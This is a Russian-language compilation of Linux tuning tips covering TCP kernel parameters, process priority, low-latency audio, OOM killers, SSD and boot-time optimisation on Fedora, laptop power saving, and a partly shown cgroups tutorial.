       sysctl net.ipv4.tcp_wmem
    
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_wmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    
    Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
    приёмного буфера, пытаясь автоматически определить размер буфера.
    
    Как:
    
    Команда проверки:
    
      sysctl net.ipv4.tcp_moderate_rcvbuf
    
    Как изменить:
    
       sysctl -w net.ipv4.tcp_moderate_rcvbuf value
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)
    
    
  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Запуск процесса с совсем-совсем IDLE приоритетом в Linux   Автор: СеменСемныч777  [комментарии]
     
    Скрипт для запуска процесса в Linux с минимальным влиянием на работу других процессов:
    
       #!/bin/sh
       # куда бы еще /usr/bin/nice впихнуть?
       /usr/bin/chrt --idle 0 /usr/bin/ionice -c 3 $* &
       XPID=$!
       /usr/bin/cpulimit -l 1 -c 1 -b -p $XPID
       wait $XPID
    
    В chrt "--idle 0" выставляет режим планировщика SCHED_IDLE с минимальным приоритетом.
    
    В ionice  "-c 3" активирует 3 класс (idle) планирования ввода/вывода.
    
    В cpulimit опцией "-l" задаётся допустимый процент использования CPU (в
    диапазоне от 0 до 100 * на число процессорных ядер), - "-c" ограничивает число
    ядер CPU, "-b" - запускает процесс cpulimit в фоне, "-p" применяет ограничение
    для PID уже запущенного процесса. При помощи опции "-i" можно распространить
    ограничение и на все дочерние процессы.
    
    Вариант в форме однострочника:
    
       /usr/bin/cpulimit -l 1 -c 1 -f -q -- /usr/bin/nice -19 /usr/bin/chrt --idle 0 /usr/bin/ionice -c 3 $* 
    
     
    ----* Гитара в Debian и борьба с XRUN   Автор: Павел Отредиез  [комментарии]
     
    Опыт настройки Debian для повышения качества обработки звука с электрогитары.
    
    У меня достаточно средняя конфигурация: Athlon X3 3.4 GHz и дешевая USB
    звуковая карта Behringer UFO202 (лучше бы Behringer UCA222). Из софта использую
    qjackctl + jackd, guitarix, rakarrack. Надо сказать, что guitarix
    прожорливее на первый взгляд, чем rakarrack, хотя в обоих случаях
    потребление ресурсов зависит от навороченности эффектов.
    
    Итак чего я добился: ни одного XRUN (переполнение звукового буфера) при
    запуске jackd:
    
       /usr/bin/jackd -dalsa -dhw:CODEC -r48000 -p256 -n2
    
    Что позволяет играть без артефактов с почти незаметной задержкой.
    
    Для этого:
    
    1. И самое важное. Заметил что cpufreq гувернер ondemand всё равно через минуту
    две начинает снижать частоту ядер процессора и проскакивают единичные XRUN.
    Поэтому наш выбор гувернер performance (у меня 3 ядра):
    
       cpufreq-set -c 0 -g performance
       cpufreq-set -c 1 -g performance
       cpufreq-set -c 2 -g performance
    
    2. Также советую nice. В debian приведем файл /etc/security/limits.d/audio.conf
    к виду:
    
       @audio   -  rtprio     95
       @audio   -  memlock    unlimited
       @audio   -  nice      -19
    
    Обратите внимание последняя строчка была по умолчанию закоментирована.
    Добавим себя в группу audio если нет:
    
       gpasswd -a user audio
    
    Средствами qjackctl приоритет меньше 0 не выставляется. Мы сделаем -19. Для
    этого в свойствах ярлыков на панели запуска программ поменяем команды запуска типа:
    
       nice -n -19 qjackctl
       nice -n -19 guitarix
       nice -n -19 rakarrack
    
    Дочерние процессы наследуют приоритет.
    
     
    ----* Сравнение работающих в пространстве пользователя обработчиков нехватки памяти (доп. ссылка 1)   Автор: кек  [комментарии]
     
    earlyoom https://github.com/rfjakob/earlyoom
    
    Простой, лёгкий, стабильный. VmRSS меньше мегабайта, нагрузка на процессор
    околонулевая. С релиза 1.3 стал очень надёжен (исправлено возможное убийство
    невиновных). Лучший выбор для домохозяек, которым не нужны лишние настройки, а
    нужна хорошая работа из коробки. Поддержка PSI обсуждается
    (https://github.com/rfjakob/earlyoom/issues/100 - автор давно собирался
    добавить поддержку PSI, но в последнее время засомневался в целесообразности
    этого. Проводятся работы по убеждению сенсея в необходимости добавления
    поддержки PSI).
    
    Присутствует в репозиториях Fedora, Ubuntu 18.04+ и Debian 10+. Начиная с
    версии 1.3 могу смело рекомендовать его в качестве дефолтного киллера для
    десктопа. Начиная с
    версии 1.3 могу смело рекомендовать его в качестве применяемого по умолчанию
    oom-killer для десктопа. Будет [[https://pagure.io/fedora-workstation/issue/119 включён[[ в Fedora 32 Workstation по умолчанию.
    
    
    
    
    nohang https://github.com/hakavlad/nohang
    
    Явная и очень гибкая конфигурация. Десятки параметров настройки в конфиге.
    Подробная печать свойств завершаемого процесса. Печать таблицы процессов со
    свойствами всех процессов перед корректирующим действием. Возможность реакции
    на PSI (pressure stall information, https://lwn.net/Articles/759658/) с выбором
    произвольной метрики и сигруппы для мониторинга. Возможность кастомизации
    корректирующих действий: отправка жертве любого сигнала (помимо
    SIGTERM/SIGKILL) или выполнение произвольной команды. Возможность тонкого
    влияния на badness процесса путем сопоставления его name, cmdline, cgroup, exe
    realpath c заданным регулярным выражением. Уведомления о низком уровне памяти
    (произвольной командой или через notify-send). Подготовлены пакеты  для Fedora
    и CentOS 7.
    
    Минусы: мало документации. Хочу релизнуться, но лень писать документацию. Можно
    рекомендовать тем, кому не хватает возможностей earlyoom (у последнего нет
    поддержки PSI и уведомлений о нехватке памяти).
    
    oomd https://github.com/facebookincubator/oomd
    
    Работает только с сигруппами - минимальным объектом для корректирующего
    действия является сигруппа. Это означает, что при применении на десктопе oomd
    убъёт всю сессию посредством SIGKILL. В связи с этим рекомендуется только для
    крупных высоконагруженных серверов. Плюс требования: работает только с systemd,
    cgroup2 должна быть единственной иерархией, иерархия cgroup_v1 должна быть
    отключена + требуется ядро с поддержкой PSI + своп должен быть включен (без
    свопа oomd бесполезен). Плюс oomd заметно грузит CPU - нагрузка в 4.5% в
    порядке вещей (We see this internally too. Something like 4.5% of a core all
    the time. -
    https://github.com/facebookincubator/oomd/issues/79#issuecomment-520615498 ).
    Модульная архитектура, но издержки описаны выше. Пакеты сформированы только для Fedora.
    
    low-memory-monitor https://gitlab.freedesktop.org/hadess/low-memory-monitor/
    
    Рано делать выводы. Идея просить процессы умерить аппетиты самостоятельно
    вызывает скепсис. В остальном этот киллер примитивен и не содержит других киллер-фич.
    
    Итог
    
    Если у вас CentOS 6, или слабое железо, или не нужно ничего лишнего, или
    хочется "быстро поставить и забыть" - ставьте earlyoom. Nohang имеет
    дополнительные возможности, полезные как для десктопа, так и для сервера. oomd
    лучше не трогать, если сам не из Фейсбука.
    
     
    ----* Оптимизация работы на SSD-накопителе рабочей станции с Fedora Linux  (доп. ссылка 1)   [комментарии]
     
    Включаем для SSD-накопителя поддержку TRIM и отключаем обновление метаданных со
    временем доступа к файлу. Добавляем в список флагов /etc/fstab опции discard и noatime:
    
        /dev/mapper/fedora-root /      ext4    noatime,discard  1 1
        /dev/mapper/fedora-home /home  ext4    noatime,discard  1 2
    
    
    Организуем хранение содержимого временной директории в памяти, в /etc/fstab
    включаем tmpfs для /tmp:
    
        none /tmp     tmpfs nodev,nosuid,mode=1777 0 0
      
    По аналогии можно создать хранимый в памяти раздел и для логов. Содержимое
    логов будет сбрасываться при перезагрузке, но для десктоп-систем потеря логов,
    как правило, не критична.
    
        none /var/log tmpfs size=20m 0 0
    
    Отключаем кэширование страниц Firefox на диске. В  about:config  меняем
    содержимое переменной browser.cache.disk.enable на false и указываем приемлемый
    размер кэша в ОЗУ через переменную      browser.cache.memory.capacity (65536
    для 64 Мб).
    
     
    
    Включаем режим обратного кэширования записи для SSD-диска (дополнительно
    кэширование следует включить в BIOS ноутбука) и заменяем планировщик
    ввода/вывода на вариант, оптимизированный для Flash-памяти.
    
    Устанавливаем утилиту hdparm:
     
       sudo yum install hdparm
    
    Создаём файл /etc/rc.local и прописываем в него:
    
        #!/bin/sh
        hdparm -W1 /dev/sda
        echo noop > /sys/block/sdb/queue/scheduler
    
    где, /dev/sda - SSD-накопитель. 
    
       sudo chmod +x /etc/rc.local
    
    Активируем сервис для запуска /etc/rc.local в systemd:
    
       systemctl enable rc-local.service
    
     
    ----* Сокращение времени загрузки Fedora 17 c 15 до 3 секунд (доп. ссылка 1)   [комментарии]
     
    Изложенные в данной статье инструкции позволяют сократить до трёх секунд
    загрузку дистрибутива Fedora 17 с NetworkManager до экрана приглашения входа в
    систему от GDM. Указанная конфигурация опробована на ноутбуке Lenovo T420s
    (2x2x Intel Core i5-2540M CPU @ 2.60GHz) и SSD-накопителем Intel SSDSA2BW160G3L.
    
    1. Используем простейшую конфигурацию разбиения диска с загрузочным и рабочим
    разделами с файловой системой Ext4:
    
       sda1 ext4 /boot
       sda2 swap
       sda3 ext4 /
    
    После установки дистрибутива потребуется как минимум две перезагрузки для
    достижения оптимального времени загрузки из-за необходимости адаптации к
    загрузочной последовательности механизма readahead (вначале readahead собирает
    информацию о загружаемых программах и библиотеках, после чего начнёт разом
    загружать компоненты в кэш страниц памяти).
    
    Обновляем все пакеты, активируем prelink и устанавливаем пакет systemd-analyze:
    
       sudo yum update
       sudo /etc/cron.daily/prelink
       sudo yum install systemd-analyze
    
    
    После перезагрузки выполняем:
    
       sudo systemd-analyze
    
       Startup finished in 1413ms (kernel) + 2911ms (initramfs) + 10593ms (userspace) = 14918ms
    
    Как видим в штатном режиме дистрибутив загрузился за 15 секунд.
    
    Начинаем оптимизацию. 
    Отключаем initramfs - так как в ядро встроена поддержка файловой системы ext4,
    поэтому для монтирования корневого раздела не требуется загрузка дополнительных
    модулей ядра. В параметрах загрузки явно указываем имя корневого раздела (без
    UUID) и тип ФС. Содержимое /etc/grub2.cfg должно выглядеть примерно так:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 quiet libahci.ignore_sss=1 raid=noautodetect
       # initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    Опции "raid=noautodetect" и "libahci.ignore_sss=1" позволяют ускорить время
    инициализации ядра из-за пропуска дополнительных проверок.
    
    После перезагрузки systemd-analyze показывает сокращение времени до 14684ms.
    Продолжаем оптимизацию.
    
    Так как на компьютере не используются  LVM, RAID и шифрование можно смело
    отключить все сервисы fedora-*storage*. Дополнительно можно отключить систему
    вывода заставки  plymouth, так как нам важнее скорость а не эстетическое
    наслаждение от ожидания завершения загрузки. Для отключения указанных сервисов
    следует использовать команду "systemctl mask", достоинство которой ещё и в том,
    что %post скрипт RPM в дальнейшем не включит сервис автоматически.
    
       cd /lib/systemd/system
       for i in fedora*storage* plymouth-*.* lvm2-monitor.* mdmonitor*.*; do sudo systemctl mask $i;done
    
    Одновременно отключим лишние SysV-скрипты  livesys, livesys-late и spice-vdagentd:
    
       for i in livesys livesys-late spice-vdagentd ; do sudo chkconfig $i off;done
    
    Перезагружаем систему и наблюдаем через systemd-analyze сокращение времени загрузки до 8197ms
    
    Далее переходим к экстремальным действиям и отключаем все сервисы, кроме
    NetworkManager, поэтому важно запомнить что именно было отключено, так как в
    результате будет получена система без почты, межсетевого экрана, системы
    печати, утилит abrt,  avahi, некоторых точек монтирования, rsyslog, irqbalance
    и защиты selinux.
    
       cd /lib/systemd/system
       for i in abrt*.service auditd.service avahi-daemon.* bluetooth.* dev-hugepages.mount dev-mqueue.mount \\
          fedora-configure.service fedora-loadmodules.service fedora-readonly.service ip6tables.service \\
          iptables.service irqbalance.service mcelog.service rsyslog.service sendmail.service sm-client.service \\
          sys-kernel-config.mount sys-kernel-debug.mount; do \\
        sudo systemctl mask $i; \\
       done
    
    Для отключения selinux правим  файл /etc/selinux/config и добавляем настройку
    "selinux=0" в строку с параметрами ядра. Настройки /etc/grub2.cfg принимают
    примерно такой вид:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 libahci.ignore_sss=1 raid=noautodetect selinux=0
       #  initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    
    Перезагружаемся и наблюдаем по systemd-analyze сокращение загрузки до 2926ms.
    
    Но идеи по оптимизации пока не исчерпаны. Попробует выжать ещё времени через
    манипуляции с монтированием разделов. Переводим раздел /boot в режим
    "монтирование по требованию" и создаём раздел /tmp с использованием  tmpfs для
    сокращения нагрузки на диск в процессе загрузки. В результате /etc/fstab будет
    выглядеть следующим образом:
    
       /dev/sda3  /                       ext4    defaults        1 1
       /dev/sda1  /boot                   ext4    noauto,comment=systemd.automount     1 2
       /dev/sda2  swap                    swap    defaults        0 0
       tmpfs      /tmp                    tmpfs   defaults        0 0
    
    После перезагрузки systemd-analyze выдаёт 2769ms.
    
    Так как NetworkManager запускается также при старте программы входа в систему,
    можно отключить приводящую к загрузке  NetworkManagers зависимость на уровне
    multi-user, так как он всё равно будет параллельно запущен при запуске gdm,
    зависимость для которого остаётся.
    
       sudo rm /etc/systemd/system/multi-user.target.wants/NetworkManager.service
    
    Проверяем время загрузки - 2603ms.
    
    Для проверки насколько readahead влияет на время загрузки  для эксперимента
    временно выключим readahead:
    
       cd /lib/systemd/system   
       for i in *readahead*; do sudo systemctl mask $i;done
    
    После перезагрузки systemd-analyze показывает 2547ms. Но несмотря на сокращение
    времени загрузки до запуска экрана входа в систему, сам э
    кран визуально появляется с некоторой задержкой. Для того чтобы более точно
    оценить время загрузки воспользуемся секундомером.
    
       sudo dracut -f
    
    Время загрузки с readahead и возвращённым initramfs: 
    
       systemd-analyze 
       Startup finished in 803ms (kernel) + 2217ms (initramfs) + 1018ms (userspace) = 4039ms
    
    При сборке initramfs без plymouth и в режиме только хоста:
    
       sudo dracut -f -H -o plymouth
    
    получаем:
    
       systemd-analyze 
       Startup finished in 612ms (kernel) + 499ms (initramfs) + 1330ms (userspace) = 2443ms
    
    Следует иметь в виде,  что сервисы  отключенные через "systemctl mask" при
    необходимости  можно в любой момент вернуть командой "systemctl unmask".
    
     
    ----* Советы по увеличению автономной работы ноутбука с Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Включение ALPM позволит сэкономить 1-2 Вт энергии, но может привести к
    повреждению данных для некоторых устройств.
    
       echo SATA_ALPM_ENABLE=true | sudo tee /etc/pm/config.d/sata_alpm
    
    2. Изменение фона рабочего стола на более светлый цвет для ноутбука с
    LCD-экраном увеличит продолжительность работы примерно на 1%.
    
    3. Включение режима энергосбережения RC6 для видеокарт Intel i915 через
    передачу параметра ядра i915.i915_enable_rc6=1 позволит сэкономить 25-40%
    энергии для устройств на базе архитектуры Sandybridge, но в редких случаях
    может привести к зависанию на определённых ноутбуках.
    
    4. Включение режима сжатия фреймбуфера (Frame Buffer Compression) для драйвера
    i915 через передачу параметра ядру i915.i915_enable_fbc=1 позволит сэкономить
    до 0.6 Вт.
    
    5. Установка задержки гашения обратного хода луча вертикальной развёртки (DRM
    vblank off) через параметр ядра drm.vblankoffdelay=1 сократит число вызывающих
    пробуждение процессора событий (wakeup events) и возможно сэкономит немного энергии.
    
    6. Отключение всех беспроводных подсистем, если они не используются. В
    частности отключение bluetooth  ("blacklist bluetooth" в
    /etc/modprobe.d/blacklist.conf) приведёт к экономии 1-2 Вт.
    
    7. Отключение web-камеры ("blacklist uvcvideo" в
    /etc/modprobe.d/blacklist.conf) поможет сэкономить 1-2 Вт.
    
    8. Использование утилиты PowerTop для перевода следующих устройств в состояние
    экономного потребления энергии:
    
       * Webcam
       * Audio
       * DRAM
       * Ethernet
       * Wifi
       * Bluetooth
       * SATA
       * MMC/SD
    
    9. Использование ядра Linux в котором решена проблема с активацией ASPM
    (Active State Power Management) для карт PCI Express. Ядро тестовой ветки
    Ubuntu 12.04 уже содержит нужный патч. Для других систем рекомендуется в
    качестве обходного пути передать ядру параметр
    "pcie_aspm=powersave", который по умолчанию активирует режим максимальной
    экономии энергии (иначе, будет использован режим максимальной
    производительности). Для некоторых моделей ноутбуков данное действие может
    привести к снижению энергопотребления на 10-30%.
    
    10. Приглушение яркости экрана до 2/3 от максимального значения сэкономит 1 Вт.
    
    11. Отключение мерцающего курсора в gnome-terminal позволит избавиться от
    лишних пробуждений процессора:
    
       gconftool-2 --type string --set /apps/gnome-terminal/profiles/Default/cursor_blink_mode off
    
    12. Выявление проблем с излишне частым пробуждением процессора и излишней
    нагрузкой на CPU для часто используемых приложений при помощи пакета
    powertop или утилит eventstat и cpustat из PPA репозитория colin-king/powermanagement.
    
    Например для выявления наиболее активных событий за 10 секунд:
    
       sudo eventstat 10 1
    
      Evnt/s PID   Task            Init Function             Callback
       96.10 12659 npviewer.bin    hrtimer_start_range_ns    hrtimer_wakeup
       58.10     0 [kern sched]    Load balancing tick       tick_sched_timer
       49.80  2026 alsa-source     hrtimer_start_range_ns    hrtimer_wakeup
       49.30  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       47.20     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
    
    Для мониторинга в течение 60 секунд и вывода процессов, генерирующих более 5 событий в секунду:
    
       sudo eventstat -t 5 60 1
    
      Evnt/s PID   Task            Init Function             Callback
       54.00  2003 compiz          hrtimer_start_range_ns    hrtimer_wakeup
       49.35  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       18.92     0 [kern sched]    Load balancing tick       tick_sched_timer
       17.57     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
       16.13     0 [kern core]     usb_hcd_poll_rh_status    rh_timer_func
        9.98  2386 gwibber-service hrtimer_start_range_ns    hrtimer_wakeup
        9.88 10063 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        9.87  2382 ubuntuone-syncd hrtimer_start_range_ns    hrtimer_wakeup
        9.83 10109 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        5.23     0 [kern core]     hrtimer_start             tick_sched_timer
       12046 Total events, 200.77 events/sec
    
     
    ----* Управление ресурсами с помощью cgroups  (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   Автор: Ivan Pogudin  [комментарии]
     
    Cgroups (Control Groups) - обеспечивают механизм для агрегирования множества
    задач и их будущих потомков в иерархические группы с определенным поведением.
    Так начинается документация посвященная cgroups поставляемая с ядром Linux.
    Собственно это и есть достаточно ёмкое описание технологии. Но конечно же его
    не достаточно.
    Небольшое отступление, необходимо привести конфигурацию программного
    обеспечения на которой выполнялись примеры - это ОС Debian GNU/Linux 6.0.1.
    
    Как правило новые технологии изучают либо в случае поиска инструментов
    необходимость в которых уже назрела, либо в качестве знакомства с инструментами
    и потенциальной возможности их дальнейшего применения. В первом случае ответ на
    вопрос "Для чего это нужно?" уже получен, во втором нет. Тем не менее я приведу
    ответ на этот вопрос. Cgroups - это технология обеспечивающая контроль за
    распределением различных ресурсов доступных операционной системе между группами
    процессов. Что это дает? Это дает возможность при высоких нагрузках
    распределять ресурсы по заранее заданным правилам между группами процессов.
    Плюс к этом существует возможность собирать статистику по потребленным ресурсам
    с помощью специальной подсистемы. Где это может применяться? В любой ситуации,
    где необходимо распределить ресурсы между конкурирующими процессами и в которой
    не хватает таких механизмов как nice и т.д.
    
    Какое описание технологии может обойтись без терминологии.
    
    Задача (task) - процесс ОС привязанный к определенной группе, все
    его потомки тоже будут наследовать привязку к группе родителя.
    
    Подсистема (subsystem) - это модуль, который позволяет использовать
    некоторые услуги для группу задач. Каждая подсистема может быть прикреплена
    только к одной иерархии.
    
    Настраиваемый параметр (tunable parameter) - это некая
    сущность(представлена файлом в виртуальной ФС cgroups) с помощью которой
    осуществляется взаимодействие с подсистемой.
    
    Иерархия групп (hierarchy) - это множество групп расположенных в
    виде дерева, так что каждая задача в системе находится точно в одной группе в
    иерархии и с заданным множеством(set) подсистем. Каждая группа имеет свои
    настраиваемые параметры, которые соответствуют множеству подсистем специфичному
    для данной иерархии.
    
    Пора переходить к практике. Как это не банально, но чтобы начать работать с
    cgroups необходимо установить приложения для userspace.
    
       aptitude install cgroup-bin
    
    Теперь всё готово, чтобы использовать cgroups. Есть несколько способов
    управлять cgroups: набор специфичных утилит, работа стандартными средствами с
    виртуальной ФС, из собственного программного обеспечения через библиотеку.
    Наиболее подходящий для первоначального знакомства это набор специфичных
    утилит. Конечно можно использовать и стандартные средства и взаимодействовать с
    системой через файлы в виртуальной ФС (echo, cat, mount, и т.д.)
    
    Небольшое отступление. Для того чтобы перейти к практике необходимо определить
    некую "сферическую задачу в вакууме". Такая задача будет звучать так: есть
    система с запущенными веб-контейнером Tomcat и СУБД PostgreSQL, необходимо
    чтобы в момент пиковой нагрузки вычислительные ресурсы CPU распределялись по
    заданным правила (Tomcat - 40%, PostgreSQL - 50%, оставшаяся система 10%).
    
    Как уже было упомянуто, есть несколько подходов в работе с cgroups. Мы будем
    использовать специфические утилиты. Для реализации текущей задачи необходимо
    построить иерархию групп, где можно будет настроить распределение
    вычислительных ресурсов CPU. Настройка иерархии осуществляется в файле
    /etc/cgconfig.conf (на самом деле её можно производить на запущенной системе,
    либо специфичными утилитами, либо стандартным походом с mount). Настройки из
    этого файла применяются при старте сервиса cgconfig. Это просто удобный способ
    восстанавливать иерархию cgroups после перезагрузки системы. Итак, конфигурация
    для текущей задачи выглядит следующим образом:
    
       group default {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 10;
            }
       }
    
       group daemons/tomcat {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 40;
            }
       }
    
       group daemons/postgres {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 50;
            }
       }
    
       mount {
            cpu = /mnt/cgroups/cpu;
            cpuacct = /mnt/cgroups/cpu;
       }
    
    Секция mount описывает подключение двух подсистем cpu и cpuacct к иерархии
    /mnt/cgroups/cpu. Секции group настраивают конкретные группы для всей
    системы(sysdefault), tomcat и postgres. В данном случае задаются права для
    административных функций и добавления задач admin и task соответственно.
    Единственный настраиваемый параметр это cpu.shares из подсистемы cpu, который
    определяет долю вычислительных ресурсов CPU, которые достаются группе. Теперь
    можно перезапускать сервис cgconfig в /mnt/cgroups, должна быть следующая иерархия.
    
       /mnt/cgroups/
       └── cpu
           ├── cgroup.procs
           ├── cpuacct.stat
           ├── cpuacct.usage
           ├── cpuacct.usage_percpu
           ├── cpu.shares
           ├── daemons
           │   ├── cgroup.procs
           │   ├── cpuacct.stat
           │   ├── cpuacct.usage
           │   ├── cpuacct.usage_percpu
           │   ├── cpu.shares
           │   ├── notify_on_release
           │   ├── postgres
           │   │   ├── cgroup.procs
           │   │   ├── cpuacct.stat
           │   │   ├── cpuacct.usage
           │   │   ├── cpuacct.usage_percpu
           │   │   ├── cpu.shares
           │   │   ├── notify_on_release
           │   │   └── tasks
           │   ├── tasks
           │   └── tomcat
           │       ├── cgroup.procs
           │       ├── cpuacct.stat
           │       ├── cpuacct.usage
           │       ├── cpuacct.usage_percpu
           │       ├── cpu.shares
           │       ├── notify_on_release
           │       └── tasks
           ├── notify_on_release
           ├── release_agent
           ├── default
           │   ├── cgroup.procs
           │   ├── cpuacct.stat
           │   ├── cpuacct.usage
           │   ├── cpuacct.usage_percpu
           │   ├── cpu.shares
           │   ├── notify_on_release
           │   └── tasks
           └── tasks
       
